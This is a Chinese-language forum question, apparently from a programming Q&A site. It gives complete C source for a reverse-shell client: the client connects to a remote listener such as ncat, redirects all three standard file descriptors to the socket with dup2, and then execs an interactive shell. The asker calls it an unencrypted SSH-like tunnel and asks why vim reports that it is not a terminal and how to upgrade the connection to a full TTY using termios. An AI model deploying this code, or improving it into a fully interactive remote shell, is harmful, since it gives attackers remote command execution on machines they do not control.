我正在开发一个客户端,它使用TCP套接字连接到监听服务器(例如 ncat ),当它执行时程序使用 dup2(socketfd,所有三个标准I / O文件描述符)系统调用,当它连接到服务器时将shell发送到服务器。 (如 SSH隧道但没有加密)
int create_socket()
{
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
return sockfd;
}
struct sockaddr_in create_serv_addr(char* argv[])
{
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(atoi(argv[2]));
serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
return serv_addr;
}
int main(int argc, char* argv[])
{
int sockfd = create_socket();
struct sockaddr_in serv_addr = create_serv_addr(argv);
if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) >= 0) {
for (int i = 0; i < 3; i++) {
close(i);
dup2(sockfd, i);
}
execl(SHELL, SHELL, "-i", (char*)NULL);
}
}
当我的 ncat 收到连接后,我得到了一个shell但是当我从该shell执行VIM时,我收到以下错误:
Vim:警告:输出不是终端
Vim:警告:输入不是来自终端
我无法在该shell中正确使用编辑器,我只是不知道为什么,实际上整个命令行感觉不对,也没有功能。
我调查了,我认为是因为我需要“将shell升级为完全交互式终端”或 TTY ,我读过 OpenSSH < / strong> GitHub 中的源代码,提出了一些如何修复它的线索,我认为&lt; termios.h &gt;图书馆是解决我的问题的关键,但我仍然感到迷失。